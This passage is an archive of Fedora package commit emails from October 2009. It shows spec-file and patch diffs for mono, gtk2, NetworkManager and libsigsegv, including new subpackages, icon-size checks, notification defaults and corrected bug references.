+  See https://bugzilla.redhat.com/show_bug.cgi?id=501498
 * Tue May 19 2009 Federico Hernandez <ultrafredde at gmail.com> - 1.7.0-1
-- Initial RPM.
+  Initial RPM.



From chkr at fedoraproject.org  Wed Oct 21 23:27:07 2009
From: chkr at fedoraproject.org (chkr)
Date: Wed, 21 Oct 2009 23:27:07 +0000 (UTC)
Subject: rpms/mono/F-10 mono-2.2-install.patch, NONE, 1.1 mono.spec, 1.89,
	1.90 sources, 1.29, 1.30
Message-ID: <20091021232708.15D6D11C00E8@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/mono/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9657

Modified Files:
	mono.spec sources 
Added Files:
	mono-2.2-install.patch 
Log Message:
* Thu Oct 22 2009 Christian Krause <chkr at fedoraproject.org> - 2.2-3
- Update to official upstream tarball mono-2.2.tar.bz2
- Add patch to fix install problem (include file was mentioned twice
  in Makefile)
- Remove vbnc manual from file list (will be in mono-basic package)
- Add web-devel subpackage


mono-2.2-install.patch:
 Makefile.am |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE mono-2.2-install.patch ---
diff -uNr mono-2.2.old/mono/metadata/Makefile.am mono-2.2/mono/metadata/Makefile.am
--- mono-2.2.old/mono/metadata/Makefile.am	2009-10-03 17:05:51.000000000 +0200
+++ mono-2.2/mono/metadata/Makefile.am	2009-10-03 17:08:29.000000000 +0200
@@ -170,7 +170,6 @@
 	object.h	\
 	exception.h	\
 	profiler.h	\
-	appdomain.h	\
 	mono-config.h	\
 	debug-helpers.h	\
 	mempool.h


Index: mono.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono/F-10/mono.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- mono.spec	21 Oct 2009 21:59:24 -0000	1.89
+++ mono.spec	21 Oct 2009 23:27:03 -0000	1.90
@@ -1,12 +1,12 @@
 Name:		mono
 Version:        2.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A .NET runtime environment
 
 Group:          Development/Languages
 License:        MIT
 URL:		http://ftp.novell.com/pub/mono/sources-stable/
-Source0:        http://ftp.novell.com/pub/mono/sources-stable/%{name}-%{version}.tar.bz2
+Source0:        http://ftp.novell.com/pub/mono/sources/mono/%{name}-%{version}.tar.bz2
 Source1:	monodir.c
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -42,6 +42,7 @@ Patch4: mono-2.0-monoservice.patch
 Patch5: mono-2.0-metadata-makefile.patch
 Patch6: mono-22-libgdiwinform.patch
 Patch7: mono-22-libdir.patch
+Patch8: mono-2.2-install.patch
 
 %description
 The Mono runtime implements a JIT engine for the ECMA CLI
@@ -145,6 +146,16 @@ Requires:       mono-core = %{version}-%
 This package provides the ASP.NET libraries and runtime for
 development of web application, web services and remoting support.
 
+%package web-devel
+Summary:        Development files for system.web
+Group:          Development/Languages
+Requires:       mono-core = %{version}-%{release}
+Requires:       mono-web = %{version}-%{release}
+Requires:       pkgconfig
+
+%description web-devel
+This package provides the .pc file for mono-web
+
 %package data
 Summary:        Database connectivity for Mono
 Group:          Development/Languages
@@ -271,6 +282,9 @@ sed -i -e 's!@libdir@!%{_libdir}!' %{PAT
 %patch7 -p1 -b .libdir-22
 sed -i -e 's!%{_libdir}!@libdir@!' %{PATCH7}
 sed -i -e 's!$(prefix)/lib/!%{_libdir}/!' docs/Makefile.{am,in}
+sed -i -e 's!@prefix@/lib/!%{_libdir}/!' data/system.web.extensions_1.0.pc.in
+sed -i -e 's!@prefix@/lib/!%{_libdir}/!' data/system.web.extensions.design_1.0.pc.in
+%patch8 -p1 -b .install-fix
 
 autoreconf -f -i -s
 
@@ -384,7 +398,6 @@ install monodir %{buildroot}%{_bindir}
 %{_mandir}/man1/csharp.1.gz
 %{_mandir}/man1/mono-cil-strip.1.gz
 %{_mandir}/man1/monoburg.1.gz
-%{_mandir}/man1/vbnc.1.gz
 %{_libdir}/libMonoPosixHelper.so
 %dir %{monodir}
 %dir %{monodir}/1.0
@@ -604,6 +617,11 @@ install monodir %{buildroot}%{_bindir}
 %mono_bin httpcfg
 %{_mandir}/man1/httpcfg.1.gz
 
+%files web-devel
+%defattr(-,root,root,-)
+%{_libdir}/pkgconfig/system.web.extensions_1.0.pc
+%{_libdir}/pkgconfig/system.web.extensions.design_1.0.pc
+
 %files data
 %defattr(-,root,root,-)
 %mono_bin sqlsharp
@@ -668,6 +686,13 @@ install monodir %{buildroot}%{_bindir}
 %{_libdir}/pkgconfig/monodoc.pc
 
 %changelog
+* Thu Oct 22 2009 Christian Krause <chkr at fedoraproject.org> - 2.2-3
+- Update to official upstream tarball mono-2.2.tar.bz2
+- Add patch to fix install problem (include file was mentioned twice
+  in Makefile)
+- Remove vbnc manual from file list (will be in mono-basic package)
+- Add web-devel subpackage
+
 * Tue Mar 10 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-2
 - Fix mono-cairo libdir issue
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mono/F-10/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	21 Oct 2009 21:59:24 -0000	1.29
+++ sources	21 Oct 2009 23:27:03 -0000	1.30
@@ -1 +1 @@
-a311545a0003f1a599297d57e4e27916  mono-2.2.tar.bz2
+da147e24d14a73d8ad52775dd4a3d165  mono-2.2.tar.bz2



From mclasen at fedoraproject.org  Wed Oct 21 23:34:46 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 23:34:46 +0000 (UTC)
Subject: rpms/gtk2/F-12 zerosize.patch,NONE,1.1 gtk2.spec,1.418,1.419
Message-ID: <20091021233446.D56AE11C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12102

Modified Files:
	gtk2.spec 
Added Files:
	zerosize.patch 
Log Message:
try to help catch a nm-applet problem


zerosize.patch:
 gtkicontheme.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE zerosize.patch ---
diff -up gtk+-2.18.3/gtk/gtkicontheme.c.zerosize gtk+-2.18.3/gtk/gtkicontheme.c
--- gtk+-2.18.3/gtk/gtkicontheme.c.zerosize	2009-10-21 19:13:17.759889007 -0400
+++ gtk+-2.18.3/gtk/gtkicontheme.c	2009-10-21 19:18:53.670897109 -0400
@@ -1402,6 +1402,7 @@ gtk_icon_theme_lookup_icon (GtkIconTheme
 
   g_return_val_if_fail (GTK_IS_ICON_THEME (icon_theme), NULL);
   g_return_val_if_fail (icon_name != NULL, NULL);
+  g_return_val_if_fail (size > 0, NULL);
   g_return_val_if_fail ((flags & GTK_ICON_LOOKUP_NO_SVG) == 0 ||
 			(flags & GTK_ICON_LOOKUP_FORCE_SVG) == 0, NULL);
 
@@ -1477,6 +1478,7 @@ gtk_icon_theme_choose_icon (GtkIconTheme
 {
   g_return_val_if_fail (GTK_IS_ICON_THEME (icon_theme), NULL);
   g_return_val_if_fail (icon_names != NULL, NULL);
+  g_return_val_if_fail (size > 0, NULL);
   g_return_val_if_fail ((flags & GTK_ICON_LOOKUP_NO_SVG) == 0 ||
 			(flags & GTK_ICON_LOOKUP_FORCE_SVG) == 0, NULL);
 
@@ -1531,10 +1533,11 @@ gtk_icon_theme_load_icon (GtkIconTheme  
   
   g_return_val_if_fail (GTK_IS_ICON_THEME (icon_theme), NULL);
   g_return_val_if_fail (icon_name != NULL, NULL);
+  g_return_val_if_fail (size > 0, NULL);
   g_return_val_if_fail ((flags & GTK_ICON_LOOKUP_NO_SVG) == 0 ||
 			(flags & GTK_ICON_LOOKUP_FORCE_SVG) == 0, NULL);
   g_return_val_if_fail (error == NULL || *error == NULL, NULL);
-  
+
   icon_info = gtk_icon_theme_lookup_icon (icon_theme, icon_name, size,
 				          flags | GTK_ICON_LOOKUP_USE_BUILTIN);
   if (!icon_info)
@@ -3308,6 +3311,7 @@ gtk_icon_theme_add_builtin_icon (const g
   gpointer key;
 
   g_return_if_fail (icon_name != NULL);
+  g_return_if_fail (size > 0, NULL);
   g_return_if_fail (GDK_IS_PIXBUF (pixbuf));
   
   if (!icon_theme_builtin_icons)
@@ -3454,6 +3458,7 @@ gtk_icon_theme_lookup_by_gicon (GtkIconT
 
   g_return_val_if_fail (GTK_IS_ICON_THEME (icon_theme), NULL);
   g_return_val_if_fail (G_IS_ICON (icon), NULL);
+  g_return_val_if_fail (size > 0, NULL);
 
   if (G_IS_LOADABLE_ICON (icon))
     {


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.418
retrieving revision 1.419
diff -u -p -r1.418 -r1.419
--- gtk2.spec	21 Oct 2009 21:07:22 -0000	1.418
+++ gtk2.spec	21 Oct 2009 23:34:45 -0000	1.419
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -34,6 +34,8 @@ Patch2: icon-padding.patch
 Patch3: image-size-alloc.patch
 #
 Patch4: fresh-tooltips.patch
+#
+Patch5: zerosize.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -149,6 +151,7 @@ This package contains developer document
 %patch2 -p1 -b .icon-padding
 %patch3 -p1 -b .image-size-alloc
 %patch4 -p1 -b .fresh-tooltips
+%patch5 -p1 -b .zerosize
 
 %build
 libtoolize --force --copy
@@ -385,6 +388,10 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-7
+- Try to catch some nm-applet problems by rejecting requests to
+  load icons at size 0
+
 * Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-6
 - Hack around metacity compositor limitations
 



From mclasen at fedoraproject.org  Wed Oct 21 23:43:39 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 23:43:39 +0000 (UTC)
Subject: rpms/gtk2/F-12 zerosize.patch,1.1,1.2
Message-ID: <20091021234339.AF59111C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15614

Modified Files:
	zerosize.patch 
Log Message:
Fix patch


zerosize.patch:
 gtkicontheme.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

Index: zerosize.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/zerosize.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- zerosize.patch	21 Oct 2009 23:34:46 -0000	1.1
+++ zerosize.patch	21 Oct 2009 23:43:39 -0000	1.2
@@ -34,7 +34,7 @@ diff -up gtk+-2.18.3/gtk/gtkicontheme.c.
    gpointer key;
  
    g_return_if_fail (icon_name != NULL);
-+  g_return_if_fail (size > 0, NULL);
++  g_return_if_fail (size > 0);
    g_return_if_fail (GDK_IS_PIXBUF (pixbuf));
    
    if (!icon_theme_builtin_icons)



From dcbw at fedoraproject.org  Thu Oct 22 01:09:25 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 01:09:25 +0000 (UTC)
Subject: rpms/NetworkManager/devel nm-applet-no-notifications.patch, NONE,
	1.1 .cvsignore, 1.111, 1.112 NetworkManager.spec, 1.289,
	1.290 sources, 1.152, 1.153
Message-ID: <20091022010925.88E3111C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14437

Modified Files:
	.cvsignore NetworkManager.spec sources 
Added Files:
	nm-applet-no-notifications.patch 
Log Message:
* Wed Oct 21 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-5.git20091021
- install: better fix for (rh #526519)
- install: don't build Bluetooth bits on s390 (rh #529854)
- nm: wired 802.1x connection activation fixes
- nm: fix crash after modifying default wired connections like "Auto eth0"
- nm: ensure VPN secrets are requested again after connection failure
- nm: reset 'accept_ra' to previous value after deactivating IPv6 connections
- nm: ensure random netlink events don't interfere with IPv6 connection activation
- ifcfg-rh: fix writing out LEAP connections
- ifcfg-rh: recognize 'static' as a valid BOOTPROTO (rh #528068)
- applet: fix "could not find required resources" error (rh #529766)



nm-applet-no-notifications.patch:
 nm-applet.schemas.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE nm-applet-no-notifications.patch ---
diff -up NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in.foo NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in
--- NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in.foo	2009-10-21 17:23:29.480267635 -0700
+++ NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in	2009-10-21 17:39:42.734142996 -0700
@@ -6,7 +6,7 @@
       <applyto>/apps/nm-applet/disable-connected-notifications</applyto>
       <owner>nm-applet</owner>
       <type>bool</type>
-      <default>FALSE</default>
+      <default>TRUE</default>
       <locale name="C">
         <short>Disable connected notifications</short>
         <long>
@@ -20,7 +20,7 @@
       <applyto>/apps/nm-applet/disable-disconnected-notifications</applyto>
       <owner>nm-applet</owner>
       <type>bool</type>
-      <default>FALSE</default>
+      <default>TRUE</default>
       <locale name="C">
         <short>Disable disconnected notifications</short>
         <long>
@@ -34,7 +34,7 @@
       <applyto>/apps/nm-applet/suppress-wireless-networks-available</applyto>
       <owner>nm-applet</owner>
       <type>bool</type>
-      <default>FALSE</default>
+      <default>TRUE</default>
       <locale name="C">
         <short>Suppress networks available notifications</short>
         <long>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/.cvsignore,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- .cvsignore	3 Oct 2009 01:05:26 -0000	1.111
+++ .cvsignore	22 Oct 2009 01:09:23 -0000	1.112
@@ -167,3 +167,5 @@ NetworkManager-0.7.996.git20090928.tar.b
 network-manager-applet-0.7.996.git20090928-menu-rework.tar.bz2
 NetworkManager-0.7.996.git20091002.tar.bz2
 network-manager-applet-0.7.996.git20091002.tar.bz2
+NetworkManager-0.7.996.git20091021.tar.bz2
+network-manager-applet-0.7.996.git20091021.tar.bz2


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/NetworkManager.spec,v
retrieving revision 1.289
retrieving revision 1.290
diff -u -p -r1.289 -r1.290
--- NetworkManager.spec	3 Oct 2009 01:05:26 -0000	1.289
+++ NetworkManager.spec	22 Oct 2009 01:09:23 -0000	1.290
@@ -9,14 +9,14 @@
 %define libnl_version 1.1
 %define ppp_version 2.2.4
 
-%define snapshot .git20091002
-%define applet_snapshot .git20091002
+%define snapshot .git20091021
+%define applet_snapshot .git20091021
 
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
 Version: 0.7.996
-Release: 4%{snapshot}%{?dist}
+Release: 5%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
@@ -26,6 +26,7 @@ Source1: network-manager-applet-%{versio
 Source2: nm-system-settings.conf
 Patch1: nm-applet-internal-buildfixes.patch
 Patch2: explain-dns1-dns2.patch
+Patch3: nm-applet-no-notifications.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 PreReq:   chkconfig
@@ -72,8 +73,11 @@ BuildRequires: dhclient
 BuildRequires: gtk-doc
 BuildRequires: libudev-devel
 BuildRequires: libuuid-devel
-BuildRequires: gnome-bluetooth-libs-devel >= 2.27.7.1-1
 BuildRequires: libgudev1-devel >= 143
+# No bluetooth on s390
+%ifnarch s390 s390x
+BuildRequires: gnome-bluetooth-libs-devel >= 2.27.7.1-1
+%endif
 
 %description
 NetworkManager attempts to keep an active network connection available at all
@@ -148,6 +152,7 @@ tar -xjf %{SOURCE1}
 
 %patch1 -p1 -b .buildfix
 %patch2 -p1 -b .explain-dns1-dns2
+%patch3 -p1 -b .no-notifications
 
 %build
 
@@ -163,15 +168,24 @@ autoreconf -i
 	--with-crypto=nss \
 	--enable-more-warnings=yes \
 	--with-docs=yes \
-	--with-system-ca-path=/etc/pki/tls/certs
-make
+	--with-system-ca-path=/etc/pki/tls/certs \
+	--with-tests=yes
+make %{?_smp_mflags}
+
+# intltool is too stupid to know that the network-manager-applet subdir
+# isn't part of the NetworkManager build, so punch it in the face, otherwise
+# its 'make check' hook will complain about applet translatables that aren't
+# listed in NetworkManager's po/POTFILES
+chmod -wrx network-manager-applet-%{version}
+make check
+chmod +wrx network-manager-applet-%{version}
 
 # build the applet
 pushd network-manager-applet-%{version}
 	autoreconf -i
 	intltoolize --force
 	%configure --disable-static --enable-more-warnings=yes
-	make
+	make %{?_smp_mflags}
 popd
 
 %install
@@ -239,13 +253,17 @@ exit 0
 %pre gnome
 if [ "$1" -gt 1 ]; then
   export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null || :
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
 fi
 
 %preun gnome
 if [ "$1" -eq 0 ]; then
   export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+    gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  fi
 fi
 
 %post gnome
@@ -254,7 +272,9 @@ if [ -x /usr/bin/gtk-update-icon-cache ]
   gtk-update-icon-cache -q %{_datadir}/icons/hicolor
 fi
 export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+if [ -f "%{_sysconfdir}/gconf/schemas/nm-applet.schemas" ]; then
+  gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+fi
 
 %postun gnome
 touch --no-create %{_datadir}/icons/hicolor
@@ -316,8 +336,10 @@ fi
 %{_datadir}/icons/hicolor/scalable/apps/*.svg
 %{_sysconfdir}/xdg/autostart/nm-applet.desktop
 %dir %{_datadir}/gnome-vpn-properties
-%{_libdir}/gnome-bluetooth/plugins/*
 %{_sysconfdir}/gconf/schemas/nm-applet.schemas
+%ifnarch s390 s390x
+%{_libdir}/gnome-bluetooth/plugins/*
+%endif
 
 %files glib
 %defattr(-,root,root,0755)
@@ -342,6 +364,18 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Wed Oct 21 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-5.git20091021
+- install: better fix for (rh #526519)
+- install: don't build Bluetooth bits on s390 (rh #529854)
+- nm: wired 802.1x connection activation fixes
+- nm: fix crash after modifying default wired connections like "Auto eth0"
+- nm: ensure VPN secrets are requested again after connection failure
+- nm: reset 'accept_ra' to previous value after deactivating IPv6 connections
+- nm: ensure random netlink events don't interfere with IPv6 connection activation
+- ifcfg-rh: fix writing out LEAP connections
+- ifcfg-rh: recognize 'static' as a valid BOOTPROTO (rh #528068)
+- applet: fix "could not find required resources" error (rh #529766)
+
 * Fri Oct  2 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-4.git20091002
 - install: fix -gnome package %pre script failures (rh #526519)
 - nm: fix failures validating private keys when using the NSS crypto backend


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/sources,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- sources	3 Oct 2009 01:05:26 -0000	1.152
+++ sources	22 Oct 2009 01:09:23 -0000	1.153
@@ -1,2 +1,2 @@
-9993745d9f39e4ae8a6b46b5b7a5a809  NetworkManager-0.7.996.git20091002.tar.bz2
-131b83c340764d648ccce44f56683394  network-manager-applet-0.7.996.git20091002.tar.bz2
+185b6c1d6571a489cd33806302d2815d  NetworkManager-0.7.996.git20091021.tar.bz2
+a1aa5d658725d86dfc1744769effee7c  network-manager-applet-0.7.996.git20091021.tar.bz2



From rdieter at fedoraproject.org  Thu Oct 22 01:09:25 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 22 Oct 2009 01:09:25 +0000 (UTC)
Subject: rpms/libsigsegv/F-11 libsigsegv.spec,1.22,1.23
Message-ID: <20091022010925.EE39211C0264@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/libsigsegv/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14372/F-11

Modified Files:
	libsigsegv.spec 
Log Message:
fix bug reference



Index: libsigsegv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libsigsegv/F-11/libsigsegv.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- libsigsegv.spec	23 Sep 2009 00:33:01 -0000	1.22
+++ libsigsegv.spec	22 Oct 2009 01:09:25 -0000	1.23
@@ -128,7 +128,7 @@ rm -rf %{buildroot} 
 - respin mystack patch
 
 * Tue Sep 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.6-5
-- libsigsegv allocates alternate stack on the main stack (#524796)
+- libsigsegv allocates alternate stack on the main stack (#524795)
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From rdieter at fedoraproject.org  Thu Oct 22 01:09:26 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 22 Oct 2009 01:09:26 +0000 (UTC)
Subject: rpms/libsigsegv/F-12 libsigsegv.spec,1.24,1.25
Message-ID: <20091022010926.2E94E11C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/libsigsegv/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14372/F-12

Modified Files:
	libsigsegv.spec 
Log Message:
fix bug reference



Index: libsigsegv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libsigsegv/F-12/libsigsegv.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libsigsegv.spec	23 Sep 2009 00:24:21 -0000	1.24
+++ libsigsegv.spec	22 Oct 2009 01:09:25 -0000	1.25
@@ -128,7 +128,7 @@ rm -rf %{buildroot} 
 - respin mystack patch
 
 * Tue Sep 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.6-5
-- libsigsegv allocates alternate stack on the main stack (#524796)
+- libsigsegv allocates alternate stack on the main stack (#524795)
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From rdieter at fedoraproject.org  Thu Oct 22 01:09:26 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 22 Oct 2009 01:09:26 +0000 (UTC)
Subject: rpms/libsigsegv/devel libsigsegv.spec,1.24,1.25
Message-ID: <20091022010926.817C311C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/libsigsegv/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14372/devel

Modified Files:
	libsigsegv.spec 
Log Message:
fix bug reference



Index: libsigsegv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libsigsegv/devel/libsigsegv.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libsigsegv.spec	23 Sep 2009 00:24:21 -0000	1.24
+++ libsigsegv.spec	22 Oct 2009 01:09:26 -0000	1.25
@@ -128,7 +128,7 @@ rm -rf %{buildroot} 
 - respin mystack patch
 
 * Tue Sep 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.6-5
-- libsigsegv allocates alternate stack on the main stack (#524796)
+- libsigsegv allocates alternate stack on the main stack (#524795)
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From dcbw at fedoraproject.org  Thu Oct 22 01:19:56 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 01:19:56 +0000 (UTC)
Subject: rpms/NetworkManager/F-12 nm-applet-no-notifications.patch, NONE,
	1.1 NetworkManager.spec, 1.289, 1.290 sources, 1.152, 1.153
Message-ID: <20091022011956.878DA11C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18579

Modified Files:
	NetworkManager.spec sources 
Added Files:
	nm-applet-no-notifications.patch 
Log Message:
* Wed Oct 21 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-5.git20091021
- install: better fix for (rh #526519)
- install: don't build Bluetooth bits on s390 (rh #529854)
- nm: wired 802.1x connection activation fixes
- nm: fix crash after modifying default wired connections like "Auto eth0"
- nm: ensure VPN secrets are requested again after connection failure
- nm: reset 'accept_ra' to previous value after deactivating IPv6 connections
- nm: ensure random netlink events don't interfere with IPv6 connection activation
- ifcfg-rh: fix writing out LEAP connections
- ifcfg-rh: recognize 'static' as a valid BOOTPROTO (rh #528068)
- applet: fix "could not find required resources" error (rh #529766)



nm-applet-no-notifications.patch:
 nm-applet.schemas.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE nm-applet-no-notifications.patch ---
diff -up NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in.foo NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in
--- NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in.foo	2009-10-21 17:23:29.480267635 -0700
+++ NetworkManager-0.7.996/network-manager-applet-0.7.996/nm-applet.schemas.in	2009-10-21 17:39:42.734142996 -0700
@@ -6,7 +6,7 @@
       <applyto>/apps/nm-applet/disable-connected-notifications</applyto>
       <owner>nm-applet</owner>
       <type>bool</type>
-      <default>FALSE</default>
+      <default>TRUE</default>
       <locale name="C">
         <short>Disable connected notifications</short>
         <long>
@@ -20,7 +20,7 @@
       <applyto>/apps/nm-applet/disable-disconnected-notifications</applyto>
       <owner>nm-applet</owner>
       <type>bool</type>
-      <default>FALSE</default>
+      <default>TRUE</default>
       <locale name="C">
         <short>Disable disconnected notifications</short>
         <long>
@@ -34,7 +34,7 @@
       <applyto>/apps/nm-applet/suppress-wireless-networks-available</applyto>
       <owner>nm-applet</owner>
       <type>bool</type>
-      <default>FALSE</default>
+      <default>TRUE</default>
       <locale name="C">
         <short>Suppress networks available notifications</short>
         <long>


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-12/NetworkManager.spec,v
retrieving revision 1.289
retrieving revision 1.290
diff -u -p -r1.289 -r1.290
--- NetworkManager.spec	3 Oct 2009 15:39:00 -0000	1.289
+++ NetworkManager.spec	22 Oct 2009 01:19:55 -0000	1.290
@@ -9,14 +9,14 @@
 %define libnl_version 1.1
 %define ppp_version 2.2.4
 
-%define snapshot .git20091002
-%define applet_snapshot .git20091002
+%define snapshot .git20091021
+%define applet_snapshot .git20091021
 
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
 Version: 0.7.996
-Release: 4%{snapshot}%{?dist}
+Release: 5%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
@@ -26,6 +26,7 @@ Source1: network-manager-applet-%{versio
 Source2: nm-system-settings.conf
 Patch1: nm-applet-internal-buildfixes.patch
 Patch2: explain-dns1-dns2.patch
+Patch3: nm-applet-no-notifications.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 PreReq:   chkconfig
@@ -72,8 +73,11 @@ BuildRequires: dhclient
 BuildRequires: gtk-doc
 BuildRequires: libudev-devel
 BuildRequires: libuuid-devel
-BuildRequires: gnome-bluetooth-libs-devel >= 2.27.7.1-1
 BuildRequires: libgudev1-devel >= 143
+# No bluetooth on s390
+%ifnarch s390 s390x
+BuildRequires: gnome-bluetooth-libs-devel >= 2.27.7.1-1
+%endif
 
 %description
 NetworkManager attempts to keep an active network connection available at all
@@ -148,6 +152,7 @@ tar -xjf %{SOURCE1}
 
 %patch1 -p1 -b .buildfix
 %patch2 -p1 -b .explain-dns1-dns2
+%patch3 -p1 -b .no-notifications
 
 %build
 
@@ -163,15 +168,24 @@ autoreconf -i
 	--with-crypto=nss \
 	--enable-more-warnings=yes \
 	--with-docs=yes \
-	--with-system-ca-path=/etc/pki/tls/certs
-make
+	--with-system-ca-path=/etc/pki/tls/certs \
+	--with-tests=yes
+make %{?_smp_mflags}
+
